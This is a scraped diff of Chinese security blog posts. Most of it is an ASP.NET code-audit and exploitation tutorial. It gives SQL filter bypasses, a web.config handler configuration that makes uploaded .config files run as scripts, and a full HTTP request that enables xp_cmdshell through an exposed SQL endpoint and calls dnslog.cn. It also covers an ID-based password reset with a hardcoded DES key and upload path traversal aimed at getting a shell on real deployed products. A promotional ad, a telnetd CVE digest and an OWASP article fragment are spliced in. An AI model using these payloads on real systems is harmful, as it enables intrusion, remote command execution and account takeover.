0;padding: 0;min-height: 24px;"><span leaf="">)将</span><code style="font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border: 1px solid rgba(0, 0, 0, 0.08);border-radius: 2px;padding: 0px 2px;"><span leaf="">Request/Query/Form/Cookie</span></code></p><p style="margin: 0;padding: 0;min-height: 24px;"><span leaf="">等直接插入。</span></p></td></tr><tr style="Line truncated
|
||||
### 未授权访问
|
||||
#### 检查默认路由暴露
|
||||
- 默认路由{controller}/{action}/{id}
|
||||
会将所有 public action 暴露出来
|
||||
|
||||
- 查找未授权用户访问敏感控制器/方法,列出所有 Controller 和 public Action,与路由匹配,判断是否有不应暴露的接口
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()</span><span leaf=""><br/></span><span leaf=""> .Where(t => t.IsSubclassOf(typeof(Controller)));</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">foreach (var ctrl in controllerTypes)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)</span><span leaf=""><br/></span><span leaf=""> .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
#### ASMX公开访问
|
||||
|
||||
ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如GetUser
|
||||
、ResetPassword
|
||||
、UploadFile
|
||||
)
|
||||
- 黑盒:目录扫描枚举.asmx
|
||||
文件名与常见服务名称,如service.asmx
|
||||
、webservice.asmx
|
||||
、CommonService
|
||||
|
||||

|
||||
- 白盒:利用命令dir /s /b *.asmx
|
||||
或者everything
|
||||
筛选出存在且能访问到的webservice服务
|
||||

|
||||
|
||||
|
||||
https://github.com/SmartBear/soapui
|
||||
|
||||
soap发包,部分时候需要对内容进行html编码
|
||||
|
||||

|
||||
|
||||
#### web.config查看 HTTP 处理器配置 (handlers)
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf=""><handlers></span><span leaf=""><br/></span><span leaf=""> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /></span><span leaf=""><br/></span><span leaf=""> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /></span><span leaf=""><br/></span><span leaf=""></handlers></span></code></pre></td></tr></tbody></table>
|
||||
|
||||
分析方法:
|
||||
- path="ajax/*.ashx"
|
||||
→ 表示/ajax/*.ashx
|
||||
路径可访问
|
||||
|
||||
- path="scissors.axd"
|
||||
→ 表示/scissors.axd
|
||||
路径可访问
|
||||
|
||||
- verb="POST,GET"
|
||||
或verb="*"
|
||||
→ 表示支持的HTTP方法
|
||||
|
||||
#### [AllowAnonymous]
|
||||
|
||||
在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证
|
||||
|
||||
[Route("uploadAnony")]
|
||||
定义路由为/uploadAnony
|
||||
|
||||
[AllowAnonymous]
|
||||
允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件
|
||||
|
||||
[HttpPost]
|
||||
限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">[Route("uploadAnony")]</span><span leaf=""><br/></span><span leaf="">[AllowAnonymous]</span><span leaf=""><br/></span><span leaf="">[HttpPost]</span><span leaf=""><br/></span><span leaf="">public IHttpActionResult uploadAnony(string code)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];</span><span leaf=""><br/></span><span leaf=""> string A4 = A2[Class0.ahA()];</span><span leaf=""><br/></span><span leaf=""> string B = A4.Split('.').ToList().Last();</span><span leaf=""><br/></span><span leaf=""> A3.SaveAs(text);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
### 绕过技巧
|
||||
#### SQL注入绕过
|
||||
|
||||
大多数系统会全局过滤SQL注入关键字,类似片段如下
|
||||
|
||||

|
||||
|
||||
|
||||
检测了以下关键字,当检测到会报错停止
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
|
||||
|
||||
这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
除此以外,还可以使用以下方法进行绕过:
|
||||
- 大小写绕过:SelEct
|
||||
|
||||
- 字符编码绕过:Unicode编码: 使用%3C%3Fxml
|
||||
等编码
|
||||
|
||||
- 特殊字符绕过:使用\t
|
||||
和\n
|
||||
替代空格、注释符: 使用/* */
|
||||
等注释符
|
||||
|
||||
#### 文件上传绕过
|
||||
|
||||
在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">string fileName = Path.GetFileName(fileUpload.FileName);</span><span leaf=""><br/></span><span leaf="">string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();</span><span leaf=""><br/></span><span leaf="">string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">if (banned.Contains(fileExt))</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> Response.Write("不允许上传的文件类型");</span><span leaf=""><br/></span><span leaf=""> return;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
#### 403 Bypass绕过
|
||||
|
||||
存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问
|
||||
|
||||

|
||||
|
||||
解决⽅案:上传web.config格式的shell⽂件,可解析成功
|
||||
|
||||
通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf=""><handlers accessPolicy="Read, Script, Write"></span><span leaf=""><br/></span><span leaf=""> <add name="web_config" path="*.config" verb="*" </span><span leaf=""><br/></span><span leaf=""> modules="IsapiModule"</span><span leaf=""><br/></span><span leaf=""> scriptProcessor="%windir%\system32\inetsrv\asp.dll"</span><span leaf=""><br/></span><span leaf=""> resourceType="Unspecified"</span><span leaf=""><br/></span><span leaf=""> requireAccess="Write" preCondition="bitness64" /></span><span leaf=""><br/></span><span leaf=""></handlers></span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""><security></span><span leaf=""><br/></span><span leaf=""> <requestFiltering></span><span leaf=""><br/></span><span leaf=""> <fileExtensions></span><span leaf=""><br/></span><span leaf=""> <remove fileExtension=".config" /></span><span leaf=""><br/></span><span leaf=""> </fileExtensions></span><span leaf=""><br/></span><span leaf=""> <hiddenSegments></span><span leaf=""><br/></span><span leaf=""> <remove segment="web.config" /></span><span leaf=""><br/></span><span leaf=""> </hiddenSegments></span><span leaf=""><br/></span><span leaf=""> </requestFiltering></span><span leaf=""><br/></span><span leaf=""></security></span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
### 实战案例1:虚拟路径映射+前台Sql注入
|
||||
|
||||
Fofa资产数量1500多,也算是个小通杀
|
||||
|
||||

|
||||
|
||||
在Web.config
|
||||
的<httpHandlers>
|
||||
节点中配置了以下可直接前台访问的 .ashx 文件:
|
||||
|
||||
这些路径通过 Web.config 中的<httpHandlers>
|
||||
节点配置,是虚拟路径映射,不需要物理文件存在
|
||||
|
||||

|
||||
|
||||
文件位置:bin/xxxx/AppDataHandler.cs
|
||||
|
||||

|
||||
|
||||
|
||||
首先提供两个危险方法:
|
||||
- ExcuteNonQuerry
|
||||
- 执行 INSERT/UPDATE/DELETE 等操作
|
||||
|
||||
- GetDataTableByText
|
||||
- 执行 SELECT 查询并返回结果
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">public void ProcessRequest(HttpContext context)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> context.Response.Cache.SetCacheability(HttpCacheability.NoCache);</span><span leaf=""><br/></span><span leaf=""> switch (context.Request["action"])</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> case "ExcuteNonQuerry":</span><span leaf=""><br/></span><span leaf=""> ExcuteNonQuerry(context);</span><span leaf=""><br/></span><span leaf=""> break;</span><span leaf=""><br/></span><span leaf=""> case "GetDataTableByText":</span><span leaf=""><br/></span><span leaf=""> GetDataTableByText(context);</span><span leaf=""><br/></span><span leaf=""> break;</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
接口直接从请求参数中读取cmdtext
|
||||
,用户提交的cmdtext
|
||||
参数直接作为 SQL 语句执行
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">string cmdText = context.Request["cmdtext"];</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">bool flag = iDDatabase.ExecuteNonQuery(cmdText);</span><span leaf=""><br/></span><span leaf="">DataSet dataSet = iDDatabase.GetDataSet(cmdText);</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
|
||||
|
||||
执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将xp_cmdshell
|
||||
设置为1
|
||||
|
||||

|
||||
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">POST /xxxxx/AppData.ashx HTTP/1.1</span><span leaf=""><br/></span><span leaf="">Host: target.com</span><span leaf=""><br/></span><span leaf="">Content-Type: application/x-www-form-urlencoded</span><span leaf=""><br/></span><span leaf="">Cookie: XXX</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">action=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 实战案例2:重置密码+后台任意文件上传
|
||||
|
||||
通过ID越权获取身份证号
|
||||
|
||||
只检验id
|
||||
是否存在,符合类型则返回结果,没有检查请求者是否为该id
|
||||
的拥有者或有权限访问该用户信息
|
||||
|
||||

|
||||
|
||||
身份证号重置密码
|
||||
|
||||

|
||||
|
||||
- 通过gidcard
|
||||
参数在GUARDER
|
||||
表中查找记录,如果不存在,返回错误信息
|
||||
|
||||
- 接着再去验证gurpass
|
||||
是否正常解密
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);</span><span leaf=""><br/></span><span leaf="">if (gUARDER == null)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> return HtmlHelpers.FailJsonResult("身份证号不存在!");</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
DesDecrypt
|
||||
函数,硬编码key = "123456"
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">string message = gurpass;</span><span leaf=""><br/></span><span leaf="">gurpass = des.DesDecrypt("123456", message);</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">public static string DesDecrypt(string key, string message)</span><span leaf=""><br/></span><span leaf="">{ </span><span leaf=""><br/></span><span leaf=""> return DES(key, HexToString(message), isEncrypt: false, 0, "");</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
整个gurpass解密过程大体如下
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">WeiXinController.DoResetGPwd()</span><span leaf=""><br/></span><span leaf=""> ↓</span><span leaf=""><br/></span><span leaf="">des.DesDecrypt()</span><span leaf=""><br/></span><span leaf=""> ├─→ HexToString()</span><span leaf=""><br/></span><span leaf=""> └─→ DES()</span><span leaf=""><br/></span><span leaf=""> ├─→ DES_CreateKey()</span><span leaf=""><br/></span><span leaf=""> │ └─→ MoveByte()</span><span leaf=""><br/></span><span leaf=""> └─→ MoveByte()</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
根据解密逻辑编写脚本进行加密
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
使用存在的身份证号成功重置密码
|
||||
|
||||

|
||||
|
||||
|
||||
后台任意文件上传
|
||||
|
||||
审计要点
|
||||
:
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf=""># 查找文件上传相关代码</span><span leaf=""><br/></span><span leaf="">grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/</span><span leaf=""><br/></span><span leaf="">grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/</span></code></pre></td></tr></tbody></table>
|
||||
|
||||

|
||||
|
||||
|
||||
可以看到这里直接拼接路径回显,没有限制上传后缀
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">private ResponseData UploadFiles(HttpContext context)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> ResponseData responseData = new ResponseData();</span><span leaf=""><br/></span><span leaf=""> string strErrorMsg;</span><span leaf=""><br/></span><span leaf=""> List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg);</span><span leaf=""><br/></span><span leaf=""> // ...</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> if (context.Request.Files.Count > 0)</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> for (int i = 0; i < context.Request.Files.Count; i++)</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> HttpPostedFile httpPostedFile = context.Request.Files[i];</span><span leaf=""><br/></span><span leaf=""> if (httpPostedFile.ContentLength > 0)</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> string extension = Path.GetExtension(httpPostedFile.FileName); // ❌ 未验证</span><span leaf=""><br/></span><span leaf=""> string text3 = Guid.NewGuid().ToString() + extension;</span><span leaf=""><br/></span><span leaf=""> httpPostedFile.SaveAs(text2 + text3); // ❌ 直接保存</span><span leaf=""><br/></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx
|
||||
|
||||

|
||||
|
||||
|
||||
幸运的是能解析
|
||||
|
||||

|
||||
|
||||
如果像下面这种FilePath
|
||||
和PathType
|
||||
由用户可控,getshell则容易许多
|
||||
|
||||
<table><tbody><tr style="height: 33px;"><td data-colwidth="750" width="750" style="border: 1px solid #d9d9d9;"><pre data-language="plain" style="border: 1px solid #e8e8e8;border-radius: 2px;background: #f9f9f9;padding: 16px;font-size: 13px;color: #595959;"><code><span leaf="">protected void Page_Load(object sender, EventArgs e)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""> if (base.Request.Files["Filedata"] != null)</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> HttpPostedFile httpPostedFile = base.Request.Files["Filedata"];</span><span leaf=""><br/></span><span leaf=""> string text = base.Request["FilePath"]; // 用户可控的路径</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf=""> if (string.IsNullOrEmpty(text))</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> string text2 = base.Request["PathType"]; // 用户可控</span><span leaf=""><br/></span><span leaf=""> if (string.IsNullOrEmpty(text2) || text2 == "Default")</span><span leaf=""><br/></span><span leaf=""> { </span><span leaf=""><br/></span><span leaf=""> text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}";</span><span leaf=""><br/></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf=""> else</span><span leaf=""><br/></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true);</span><span leaf=""><br/></span><span leaf=""> text = CGeneral.GetAccessaryDir(accessaryType);</span><span leaf=""><br/></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf=""> }</span></code></pre></td></tr></tbody></table>
|
||||
|
||||
或者是像这种路径拼接的,可以通过../../../
|
||||
进行路径遍历,写到前台可以访问解析的路径下
|
||||
|
||||
<table><tbody><tr style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;"><td style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;padding: 0px;border: none;vertical-align: middle;"><pre style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;font-family: consolas, Menlo, "PingFang SC", "Microsoft YaHei", sans-serif !important;font-size: 14px;overflow: auto;margin: 0px;padding: 8px 10px;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(23, 23, 23);color: rgba(255, 255, 255, 0.7);line-height: 1.6;border: none;width: 489.542px;"><span style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;"><span leaf="">string folder = Request["folder"];</span></span><span leaf=""><br/></span><span style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;"><span leaf="">string path = Path.Combine("~/uploads/", folder, fileName); </span></span><span leaf=""><br/></span><span style="scrollbar-width: thin;scrollbar-color: rgb(31, 31, 31) rgba(0, 0, 0, 0);box-sizing: border-box;"><span leaf="">file.SaveAs(Server.MapPath(path));</span></span></pre></td></tr></tbody></table>
|
||||
|
||||
**下面是一则内部学习圈广告😜**
|
||||
|
||||
**别着急退,看完的师傅们有福了/doge**
|
||||
|
||||
欢迎师傅们加入
|
||||
内部网络安全学习圈子
|
||||
。
|
||||
圈子提供三大板块的内容:
|
||||
|
||||
**1**
|
||||
|
||||
**网络安全0→1学习路径**
|
||||
|
||||

|
||||
|
||||
|
||||
1. 完整的「30+周安全学习任务路线图」公开,每周任务明确,清晰的学习重点和目标,从入门到进阶,由浅入深,循序渐进;
|
||||
|
||||
1. 学习内容涵盖:
|
||||
|
||||
1. 常见的Web漏洞原理与利用
|
||||
|
||||
1. 业务逻辑漏洞挖掘
|
||||
|
||||
1. SRC实战技巧
|
||||
|
||||
1. WAF绕过、代码审计、免杀钓鱼
|
||||
|
||||
1. 内网渗透
|
||||
|
||||
(Linux&Windows)提权与权限维持
|
||||
|
||||
1. 隧道代理、域渗透、云安全、AI安全
|
||||
|
||||
1. 每周发布学习任务+参考资料+建议,学员可自主学习+实战练习;
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
**SRC漏洞专项挖掘**
|
||||
|
||||

|
||||
|
||||
|
||||
1. SRC漏洞知识库持续更新;
|
||||
|
||||
1. SRC挖掘技巧、分析方法、视频教程打包;
|
||||
|
||||
1. 分享优质挖矿案例,降低上手门槛,教你赚赏金。
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
**常态化内容更新**
|
||||
|
||||

|
||||
|
||||
|
||||
日常分享优质学习资源与攻防渗透技巧,包括但不限于:
|
||||
1. 红队/蓝队安全攻防、免杀、钓鱼技巧、攻防渗透tips;
|
||||
|
||||
1. 学习路线推荐,教程、方法、技巧tips打包分享,实战视频、工具、手册一应俱全;
|
||||
|
||||
1. 根据网络安全初中级学习者水平,精选最有用的内容,不让你在信息洪流中迷路。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
此前的一下学习记录:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
### 考证咨询
|
||||
|
||||
|
||||
最优惠报考
|
||||
各类安全证书
|
||||
(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复"
|
||||
好友位
|
||||
"咨询。
|
||||
|
||||
|
||||
|
||||
|
||||
### 关注我们
|
||||
|
||||
|
||||
|
||||
****
|
||||
点个【 在看 】,你最好看
|
||||
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# 最新高危漏洞威胁情报合集 (2026-01-21)
|
||||
原创 0xSecDebug
|
||||
0xSecDebug 0xSecDebug 2026-01-21 15:51
|
||||
|
||||
> 请勿利用文章内的相关技术从事
|
||||
**非法渗透测试**
|
||||
,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。**工具和内容均来自网络,仅做学习和记录使用,安全性自测,如有侵权请联系删除**
|
||||
。
|
||||
|
||||
|
||||
# GNU InetUtils Telnetd 远程身份验证绕过漏洞
|
||||
- CVE编号: CVE-2026-24061
|
||||
|
||||
- 危害定级: 严重
|
||||
|
||||
- 漏洞标签: 发布预警 公开漏洞
|
||||
|
||||
- 披露日期: 2026-01-21
|
||||
|
||||
- 推送原因: 漏洞创建
|
||||
|
||||
- 信息来源: https://www.oscs1024.com/hd/MPS-xs1v-brme
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
GNU InetUtils 是 GNU 项目发布的互联网实用工具集合,包含 telnet、ftp、rsh 等网络服务程序及客户端工具,主要用于类 UNIX 系统的网络连接与远程管理。其中 telnetd 为 telnet 协议的服务端实现,负责处理远程登录请求。 telnetd服务存在不同实现,在Ubuntu/CentOS系统中,telnetd默认为netkit实现,而非InetUtils。 受影响版本中,telnetd/telnetd.c 定义的 login 调用模板使用 PATH_LOGIN " -p -h %h %?u{-f %u}{%U}" 格式,telnetd/utility.c 中的 _var_short_name() 函数在展开 %U 变量时直接返回 getenv("USER") 的值。当客户端使用 -a 参数发送 USER 环境变量值为 -f root 时,telnetd 将该值未经校验传递给 login 程序,而 login 程序将 -f 参数解析为跳过密码认证选项,导致攻击者绕过正常身份验证流程直接获取 root 权限。 修复版本中通过在 telnetd/utili...
|
||||
### 修复方案
|
||||
1. 官方暂未发布修复版本,由于telnet协议为明文传输,建议停用 telnetd 服务,改为sshd服务。
|
||||
|
||||
### 参考链接
|
||||
1. https://www.oscs1024.com/hd/MPS-xs1v-brme
|
||||
|
||||
1. https://www.openwall.com/lists/oss-security/2026/01/20/2
|
||||
|
||||
1. https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b
|
||||
|
||||
1. https://nvd.nist.gov/vuln/detail/CVE-2026-24061
|
||||
|
||||
### 开源检索
|
||||
|
||||
暂未找到
|
||||
|
||||

|
||||
# GNU InetUtils Telnetd 远程认证绕过漏洞
|
||||
- CVE编号: 暂无
|
||||
|
||||
- 危害定级: 严重
|
||||
|
||||
- 漏洞标签: 有Poc 有漏洞分析 有修复方案
|
||||
|
||||
- 披露日期: 2026-01-21
|
||||
|
||||
- 推送原因: 标签更新: [有Poc 有漏洞分析] => [有Poc 有漏洞分析 有修复方案]
|
||||
|
||||
- 信息来源: https://x.threatbook.com/v5/vulIntelligence
|
||||
|
||||

|
||||
## 💻 威胁情报推送群
|
||||
> 如果师傅们想要第一时间获取到**最新的威胁情报**
|
||||
,可以添加下面我创建的
|
||||
**钉钉漏洞威胁情报群**
|
||||
,便于师傅们可以及时获取最新的
|
||||
**IOC**
|
||||
。
|
||||
> 如果师傅们想要获取
|
||||
**网络安全相关知识内容**
|
||||
,可以添加下面我创建的
|
||||
**网络安全全栈知识库**
|
||||
,便于师傅们的学习和使用:
|
||||
|
||||
> 覆盖渗透、安服、运营、代码审计、内网、移动、应急、工控、AI/LLM、数据、业务、情报、黑灰产、SOC、溯源、钓鱼、区块链等 方向,**内容还在持续整理中......**
|
||||
。
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**点分享**
|
||||
|
||||

|
||||
|
||||
**点收藏**
|
||||
|
||||

|
||||
|
||||
**点在看**
|
||||
|
||||

|
||||
|
||||
**点点赞**
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# 缓解Web应用程序漏洞从了解OWASP Top 10开始
|
||||
祺印说信安 2026-01-11 16:00
|
||||
祺印说信安 2026-01-21 16:02
|
||||
|
||||
OWASP Top 10 2021 代表了当今组织面临的最关键的 Web 应用程序安全风险,其重大变化反映了不断变化的威胁形势。
|
||||
OWASP Top 10 2021代表了当今组织面临的最关键的Web应用程序安全风险,其重大变化反映了不断变化的威胁形势。
|
||||
|
||||
访问控制失效问题已跃居榜首,影响了 94% 的受测应用程序。与此同时,诸如“不安全设计”等新类别强调了从一开始就贯彻安全开发实践的重要性。
|
||||
访问控制失效问题已跃居榜首,影响了94%的受测应用程序。与此同时,诸如“不安全设计”等新类别强调了从一开始就贯彻安全开发实践的重要性。
|
||||
|
||||
这项全面的分析为开发人员和安全专业人员提供了切实可行的缓解策略、代码示例和配置指导,以有效解决这些漏洞。请勿利用文中代码,在他人设备中测试。
|
||||
## OWASP Top 10 2021框架概述
|
||||
@@ -28,7 +28,7 @@ OWASP Top 10 2021 代表了当今组织面临的最关键的 Web 应用程序安
|
||||
```
|
||||
|
||||
